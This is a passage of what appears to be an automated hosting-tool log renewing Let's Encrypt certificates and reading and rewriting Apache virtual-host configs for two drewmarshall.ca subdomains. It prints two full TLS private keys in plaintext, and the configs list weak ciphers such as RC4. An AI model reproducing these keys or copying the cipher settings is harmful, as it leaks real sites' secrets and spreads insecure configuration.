sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-01 06:00:12:
chmod 755 /tmp/pkp420940; /tmp/pkp420940; rm /tmp/pkp420940
2025-09-01 06:00:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 1479
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-01 06:00:12:
PUT: /tmp/pkp464352
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-01 06:00:12:
chmod 755 /tmp/pkp464352; /tmp/pkp464352; rm /tmp/pkp464352
2025-09-01 06:00:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt 5394
9f:4d:16:fb:46:1f:f0:e8:48:a8:24:6c:2c:d3:f2:de
-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBZ3akOgSYlDXthGbtOXK83cOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTAxMDUwMTQwWhcNMjUxMTMwMDUwMTM5WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDuxx8+TsxQYTVdQW0Uu/X+Nfyem5mo3t5a8uLe
XSWrKKoDom1EYkRsLYr8Wu+uUTnH3QQ4vQqx2Wd1m3gdbA4dnR3gyvllvEjHv0lt
dOhH9BJ73uUDVxivxax1+2TlwmPJz7HDl5BwouiGx6RDH8dEuRmF7CWaxdPYL/HL
I87G8l59meR5uQM55+2G+yDOgX3M8AX4GAgvAnkL3426e5KDcZYgQ0pOoGIv+1ae
Rzk+POVSnM+RgJnoc0UVt3TsuuqBLBcSTVxKP78GruWBET3a1WbE/YiTvEO7vvZA
MUPmP7ecFxmwXY0bU+N4zo8tLNr7hZkTqHaIbMuw7UXZ/dfjAgMBAAGjggIwMIIC
LDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFD8pCRlZTxABek69KybiQjdXVtE+MB8G
A1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTUuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTi
OAHfUS/txIbFcA8g3bc+P+AAAAGZA9yRJQAABAMARjBEAiB8qYQWxiBL7ZWvKIRn
ZCAgOZHIbnY6KCH7WHmKSJhUUQIgaeY4CqNu1ygQ1G65DexMtH4xPra2TiDs7zgw
G8cPnPoAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZkD3JEk
AAAEAwBHMEUCIQDxQui2L1mKnwnlyR+lI85Q4HZt0dm7OTn8gaKuGvWMmgIgStxu
JKZhXsgKPFyLCr8KGWXKJQ4Nqn3+NcxLUTRPHZowDQYJKoZIhvcNAQELBQADggEB
ADvOAtwHXj/jqAyfgNQ1Ztq6VSNEoINaO/cWV5SL9QZi8WU4cJD0C6sRvlEtx+JW
jS1+v/gZGP3O2r6Njb69xNUIZy5wHCPXuV8Rzsg8AzOGXTezWAKPiastL7nVCOTV
iTs93yt9S/6sIN7+l9DZhzNNOUKUaD/cuuXF5yBb6iSUl9eIrkjUTNQooXVW4NFE
kK1P9BnP1n2RLNVgLSlgiRk+nI5WAgXmR8Rg+uNw0TXGX+6HwlfdcnxVtsw/3HXz
hSxLjwd+OlU2OkpJNNC8Ekw9Ya8UPCXU4uZUgahueBWIPbWL1h7M441kKElzUyHj
y8Ui3hwoZleJSXAVveXDJjY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDuxx8+TsxQYTVd
QW0Uu/X+Nfyem5mo3t5a8uLeXSWrKKoDom1EYkRsLYr8Wu+uUTnH3QQ4vQqx2Wd1
m3gdbA4dnR3gyvllvEjHv0ltdOhH9BJ73uUDVxivxax1+2TlwmPJz7HDl5BwouiG
x6RDH8dEuRmF7CWaxdPYL/HLI87G8l59meR5uQM55+2G+yDOgX3M8AX4GAgvAnkL
3426e5KDcZYgQ0pOoGIv+1aeRzk+POVSnM+RgJnoc0UVt3TsuuqBLBcSTVxKP78G
ruWBET3a1WbE/YiTvEO7vvZAMUPmP7ecFxmwXY0bU+N4zo8tLNr7hZkTqHaIbMuw
7UXZ/dfjAgMBAAECggEBAOf0JzWv9mpfBCgDVqO9s8mvSCgLn8mcNwTCzgCVG/KZ
Hg9JyjuT+kPcOhfLfuonnam52lAD1E/QkeB9lsF+Jng+GLg2dO+PaGQiPoJF/x9m
yk3qyS3lfeXCcTZrcCiCHc3+JQGMSpQgrSHA7qEGTd1EsraWIDGp25E3gfuEXWqE
R0Rdi0VytKAtOjA772fKyuGhrZBKHEB/Z6ihQV0H+drcnHsEBGcdITrEH0+IP5M5
LezTqo0WsIWYRvhHRH3yefldQVuTnXhQxy5025fJyyBY41Es7KfoURy0cEsgxloB
8hYDc+Tmm5nt7ANL7Jl9z0cp2rNEgKo+/o5cdw5d14ECgYEA+fwBBJcwEo0YotUR
/NTLn0NgxoNzVj/FSRBDHOSghPHDEwVjiV8MLJsUvqaGuyd5+jafhLa9tFOqdVTh
AMbZ7xgELFxgQsnv9VZa4XedR9sypgbXAydRQNj8B7zhczGCWUYC6qlMBTw9CcJe
irdFDTCVtlofq6qMkHmUzol2O08CgYEA9IYU2trCGI2IvGPYKCR0O+fkf6glpFEM
xcsQh78bXPNSB3tAAVuIFItr7OECoqamWQnW+1R7v7OAo2wcqMFa70SExwgxti4Y
VKlUz87iSdqwkh8rvcOTYQ5cMkMpqDG2809+foP4X2acU9IinpeTnWQGNA8rzv1G
K9mgHddtJS0CgYASvXqSDodzDJLJOjHkA0vUf6eUmiweTh+LD6YIV3dVIA6gsWm5
1Z9DBMk0VaWKCDaTtF6XA2ALUa5Yp2lKtp2F2AYQEUjCGQNdIAEmH+JxjZQpcB/U
Q7FKrDmQlu9LxG1iJeZ4EwL47YAh6ClQOtb5WygOCImRQ/LPrd2i8hkj7wKBgDq7
HbU3R9lX3VjKbnet0dE1sHdM7sWZxgSX8n94Ul0wACrV2pi44GV221RI8zYX6uqF
54H0V8jCl4opBHUwA+RmQ7H+cNo+Fg/3n+xN16I/iZt/KyVoHTT5mwFjilTgo/2q
wUon7ncTkUa8uR34cDckeCz22+HaiYksuz2PqaJ9AoGACCERqjdxWWj6GWXSDori
myYVLnTvFiy0gzkUgfNiRuxOb/K+2Y/V6w7EqqTG0yl32DoRjJtpJxDeIwn7QZyb
JGM6hWrDhv95lxh46eoqF1c8drke+BiEqRVZwupKC/imhFtdTXN5rSPdcBqXxXw+
JnXhseCqaYsjnTF/awUxeLA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-01 06:00:12: Establishing a connection
2025-09-01 06:00:12: Establishing a connection
2025-09-01 06:00:12:
PUT: /tmp/pkp371095
#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-01 06:00:12:
chmod 755 /tmp/pkp371095; /tmp/pkp371095; rm /tmp/pkp371095
2025-09-01 06:00:12:
1
2025-09-01 06:00:13: Establishing a connection
2025-09-01 06:00:13:
PUT: /tmp/pkp684242
#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > LcgKMfsIKU2h9Y2CbE2ghz9BgY43n-EE7PobPlTkmAQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LcgKMfsIKU2h9Y2CbE2ghz9BgY43n-EE7PobPlTkmAQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LcgKMfsIKU2h9Y2CbE2ghz9BgY43n-EE7PobPlTkmAQ
2025-09-01 06:00:13:
chmod 755 /tmp/pkp684242; /tmp/pkp684242; rm /tmp/pkp684242
2025-09-01 06:00:13:
2025-09-01 06:00:18: Establishing a connection
2025-09-01 06:00:18:
PUT: /tmp/pkp776790
#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm LcgKMfsIKU2h9Y2CbE2ghz9BgY43n-EE7PobPlTkmAQ
2025-09-01 06:00:18:
chmod 755 /tmp/pkp776790; /tmp/pkp776790; rm /tmp/pkp776790
2025-09-01 06:00:18:
2025-09-01 06:00:18: Establishing a connection
2025-09-01 06:00:19:
PUT: /tmp/pkp723372
#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt
cat > $temp_file <<'endmsg'
d1:87:83:6f:e6:27:5c:ec:3d:32:21:15:1c:ec:12:66
-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBaghg5AYzwokZt/ZCe/gx6agMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTAxMDUwMTQ4WhcNMjUxMTMwMDUwMTQ3WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAqRd0rZmlG04oX/OsGZjk0Muce4k+hmF+4bd358zr64Oj
8B/320IWLb885i436teXcyrLDJE2VBScZkzvzZu7TaMw4mzRIdn36gzHTQsXbmhh
6Pwad2htuOzTnpn1v4pZQ+o4qijk8pGeA2hDBOlE60s+DCX6UFE/XbgnPCbeR629
LLeDepT30k5A0/zEvd+4UK7mVvN++aNw3/DJc60gJsVDRHPYPUABxVhYZUgqOdXr
yZb8oGsCHCv9eRRd/APVjG4zjiEo48XkN45Ebnq0yD1WHgByCX3ik8iuII1r25q2
bf7xhWvsdlQ92/M1HNTxzo9fGQs96BsU0pjxP6UuXQIDAQABo4ICLDCCAigwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBTpJqrtqHTIWs8CgoTl2lkbt0FyMjAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8zMy5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8O
Qh60fk6qNAAAAZkD3K5DAAAEAwBHMEUCIQDAKFK1YqiDeJVZiEZqrnqW5xwiD5kY
n0OP9pWa2T/vugIgOaCfyYgiZgcJK2vNka0/t0MdM87loJtaRdSRS7mxbEUAdgAa
BP9J0FQdQK/2oMO/8djEZy9O7O4jQGiYaxdALtyJfQAAAZkD3K6TAAAEAwBHMEUC
IBxHkIPW0sYQWsZ8dbjYpRB715TUnNI7O5DwkEP9xxzJAiEAqXC4Kt/xVSZgAPYW
outC8VIs7CiC/7vQ7As6l4zdyrwwDQYJKoZIhvcNAQELBQADggEBAIjO3KJEzTtx
2keFUVPjd5I2MIzKRekTw9/mG4iFB5+/OuwwyiYL9P3j1bUr5hJaxDeXHKMZH3EO
6RFMCY3klWfIqlM9BEZzMyvJcpzDcmNSDJZM4B+tQbU5p8+drTHWAnGEinmqPv5l
onY+eCNNic1gp7h2VaQtq8NFA0lO/y3uQlxFF8SHi4f8T1E7EwQXqCRDzABx5IA2
1qzgAE5iD0H3QDnw9mxN6i7dXOhV6ksaS6+2jRdNUKUseeBIx/qXUKvbqaPjixxG
y57/M0R47ydbdEfakmFHBZAneXdgKEeq/MkTYV4n/YhzYowr/Ud4XBtyA0NCE6+l
VQBshUpmqLY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCpF3StmaUbTihf
86wZmOTQy5x7iT6GYX7ht3fnzOvrg6PwH/fbQhYtvzzmLjfq15dzKssMkTZUFJxm
TO/Nm7tNozDibNEh2ffqDMdNCxduaGHo/Bp3aG247NOemfW/illD6jiqKOTykZ4D
aEME6UTrSz4MJfpQUT9duCc8Jt5Hrb0st4N6lPfSTkDT/MS937hQruZW8375o3Df
8MlzrSAmxUNEc9g9QAHFWFhlSCo51evJlvygawIcK/15FF38A9WMbjOOISjjxeQ3
jkRuerTIPVYeAHIJfeKTyK4gjWvbmrZt/vGFa+x2VD3b8zUc1PHOj18ZCz3oGxTS
mPE/pS5dAgMBAAECggEASQjjkbQid2fL0p36QNgkRPcdMNK32e00k6PeO5XsdL5Y
SfhU4zRpRfsq/7UI2/ug49Kg/12dXLXGU/15OpLAVSlejP45Wmi+Ry6byvA2f67A
U5TIjbjiY5SPVxri5YeJROde8EhXk1pIKOqYv/9NkF/gffjNZHGjcASBld6n9ccl
/usQuaeegoNDSQgj0JBp+7QZ1j6gm2c9N+lCHGq1UY7yyvwf1SF/Oi7jMwKCuh8r
YvwG+RJnI6uQY5BacD/c/KBIDkMcQs3BKWHzUhKpm6zuvRswlqZGzUPSSx1IrZjm
UkPjejY+JRFTEBzVTxGS4BbZm3IBHNpiRiD0l90foQKBgQDg5YTpNBCpuV6rAtnd
n4qIuB6Vy/obNDiEw+a1zpPrMQ+/bRwrbSqFwCl/gaCR6rIVwPLwwlkHR4/9KLV8
glyaakvk9xJSSC2K9aH8ycGqxM/nhbMTk5CX8bQf+j6jWIOp9oTz7N77NytGkKan
ps5m2IPXME5zw7eHKaIDUpAbeQKBgQDAeiiKTDq0uV+Hq4Bs0r5SsYhZ7Vaav15r
FOrrxjDlDBlMzUS/jI+I9KQauCOWIgfsMH4eEk/yANFShR/2tqHWvBwPiFCy5294
sTIU8brlXYHCLSvUI4NN6T1RuGBZFfIImDHZ8dm/Tfp4nXZEcW6zGaAc0ex41N9H
cKpb4YuNBQKBgB6AAh5+aSQbd7NJl7JuyKLyFXPLTggSdPfMeaV+dqEW7kPP0Foz
W+j3vqkEM3qWkcBRgqEUOm66TdTPiI1yQIzQjapnt5xhHYwS8/0Mf69hMbD8eOTW
xm1U4lDT51rPzktmm3FZVoRLXxsa0v85qBRamMa+TmV0zZcPFmHM+K5BAoGATzq5
r1v7mmLoCO+2uJTzVRTRHLtOt/poQknk/dKiU9ZsH6orT3Hrr6OMXZdIxscRXc8E
Sxqcn/BoOcCkzKiW686Y+mfRWCNeRl8iT27F0R5xiF2Rugw4Q3zsCdSMjH81FwaX
FrCwQkg1/ypKAZhzyfOVbeeXoJF3q2+cIKAyEoUCgYAdpjvnmQ4hD8FzFgUBlfbT
MiygnboIWrAxC+v+JqzGcTF7KyDJDIr7wV3IUgyujiAKbljNQoOEjitwXixPMexS
yWNIpbIRX14ZPXUH2aZ+ozvthYRdfwSeYHM7fbvJdM/0ghUZFmkrHnL6vsPRgX1N
2gP5JlYrBX/JEEs+c6IbBg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-01 06:00:19:
chmod 755 /tmp/pkp723372; /tmp/pkp723372; rm /tmp/pkp723372
2025-09-01 06:00:19:
dir=/etc/ssl/certs
2025-09-01 06:00:19:
PUT: /tmp/pkp683308
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-01 06:00:19:
chmod 755 /tmp/pkp683308; /tmp/pkp683308; rm /tmp/pkp683308
2025-09-01 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-01 06:00:19:
PUT: /tmp/pkp777467
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
